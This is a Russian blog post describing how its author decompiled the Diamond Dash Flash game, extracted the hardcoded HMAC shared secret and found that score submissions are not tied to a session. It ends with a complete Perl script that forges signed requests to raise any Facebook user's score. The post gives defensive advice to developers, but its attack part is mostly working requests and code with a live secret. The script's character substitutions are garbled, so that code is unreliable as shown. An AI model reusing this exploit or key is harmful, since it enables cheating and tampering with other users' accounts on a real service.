Я не люблю играть и игры. Но меня всегда интересовало, как они работают и какие уязвимости имеют, что передают на сервер. Уже раньше на хабре были статьи на тему уязвимостей игры Diamond Dash,И снова Diamond DashНаписание макроса-бота для браузерной игры
Меня тоже заинтересовала эта игра, решил в ней разобраться.
Забегая вперед скажу, что в итоге исследования игры был написан скрипт, который может поднять рейтинг для любого(!!!) человека и игре, и для этого достаточно знать id этого человека в facebook.
Для успешной передачи данных на сервер необходимо помимо самих данных передать в пути POST запроса текушее абсолютное время и некую загадочную подпись.
Нормальный запрос после окончания игры выглядит так:
POST /game/eor/?timestamp=1328793172978&signature=ktVfjD3VFg2EG2GNiBlTgVnBg4TZJ3-DGkbAsFuWirw%3D&session=1100447b5bb0d01c14a974bc63318d12&api_version=2 HTTP/1.1
Host: dd.wooga.com
Connection: keep-alive
Content-Length: 136
Origin: http://cdn-dd.wooga.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.77 Safari/535.7
content-type: application/json
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.3
{"fireballs_used":0,"xp":75,"sound":true,"gems_removed":65,"score":19430,"level":100,"plasma_bursts_used":0,"user_id":"мой идишник"}
Прочитав вышеперечисленные статьи, я попробовал отправлять на сервер желаемые данные, и ожидал, что сервер для меня сгенерирует параметр signature, но нет, все что он мне сказал: Signature mismatch!
Следующим шагом было исследование исходного кода игры. Так, стоп. Какой еще исходный код? о_О. И правда, исходников игры нет, но она написана на ActionScript, а для этого замечательного языка есть не менее замечательные декомпиляторы. Так исторически сложилось, что я пользуюсь Trillix, хотя есть много разных декомпиляторов флеш бинарников и на хабре даже обзор был.
Итак, исходный код.
Встроенные инструменты разработки браузера Google Chrome позволяют видеть все, что страница загружает, в частности с списке запросов промелькнул и вот такой cdn-dd.wooga.com/assets/DiamondDash-fe7222a63919abae69ca44d4ac0ac97c.swf что как можно догадаться и есть сама игра.
после нескольких часов занимательного чтения исходников были найдены такие интересные места в коде:
internal function extendUrl():void
{
var loc1:*=net.wooga.diamonddash.shared.util.getTimestamp();
var loc2:*=net.wooga.diamonddash.service.util.generateRequestSignature(loc1 + this.userId + this._requestDetails.requestData);
loc2 = escape(loc2);
this._requestDetails.url = this._requestDetails.url + ("?timestamp=" + loc1 + "&signature=" + loc2 + "&session=" + this.sessionId + "&api_version=2");
return;
}
public function generateRequestSignature(arg1:String):String
{
var loc1:*=new com.hurlant.crypto.hash.HMAC(new com.hurlant.crypto.hash.SHA256());
var loc2:*=new flash.utils.ByteArray();
loc2.writeUTFBytes(net.wooga.diamonddash.service.SHARED_SECRET);
var loc3:*;
(loc3 = new flash.utils.ByteArray()).writeUTFBytes(arg1);
var loc4:*;
return loc4 = (loc4 = (loc4 = com.hurlant.util.Base64.encodeByteArray(loc1.compute(loc2, loc3))).replace(new RegExp("+", "g"), "-")).replace(new RegExp("/", "g"), "_");
}
package net.wooga.diamonddash.service {
public const SHARED_SECRET:String="foeD4ktl2gdoDdle";}
Из этих участков кода видно, как генерировать подпись:base64(SHA256(текущее_время + id_пользователя + строка_данных, SHARED_SECRET)).
после этого еще замена + на — и на /.
Проверил — подписало, запрос выполнился успешно.
Следующее что захотел сделать — написать минимальный, успешно выполняющийся запрос. в результате получилось следующее:
POST http://dd.wooga.com/game/eor/?timestamp=$time&signature=$r%3D&api_version=2 HTTP/1.1
Host: dd.wooga.com
content-type: application/json
$data
И, о ужас!!! здесь нет параметра id сессии!!! то есть, аутентификация на самом деле не выполняется, и все приходящии запросы проверяются только на соответствие подписи и данных. это означает, что в поле запроса user_id можно указать чей угодно id, и поднять рейтинг кому угодно, без участия этого пользователя.
Вот такая вот моя история исследования игры DiamondDash.
Всем разработчикам хочу посоветовать всегда думать о безопасности, и никогда не доверять тому, что приходит на ваш сервер из внешнего мира. Полностью защитится от взлома невозможно, но можно сделать анализ кода не стоящим того. В этой игре стоило бы все-таки проверять корректность параметра session, ну и прекрасный метод защиты — после компиляции программы заменить имена классов, методов и полей, что бы код потерял осмысленность.
В заключение полный код выполнения запроса:
#!/usr/bin/perl -w
use LWP::UserAgent;use Digest::SHA qw(hmac_sha256_base64);
$ua = new LWP::UserAgent;$userID = "123456789123456"; $time = time;
$data = qq#{"plasma_bursts_used":0,"score":10000000,"level":100,"gems_removed":165,"user_id":"$userID","sound":true,"xp":100,"fireballs_used":1}#;
$r = hmac_sha256_base64( $time . $userID . $data , "foeD4ktl2gdoDdle");$r =~ s/±/g;$r =~ s///_/g;
$req = qq#POST http://dd.wooga.com/game/eor/?timestamp=$time&signature=$r%3D&api_version=2 HTTP/1.1
Host: dd.wooga.com
content-type: application/json
$data#;
$req = HTTP::Request->parse($req);
print $ua->simple_request($req)->as_string();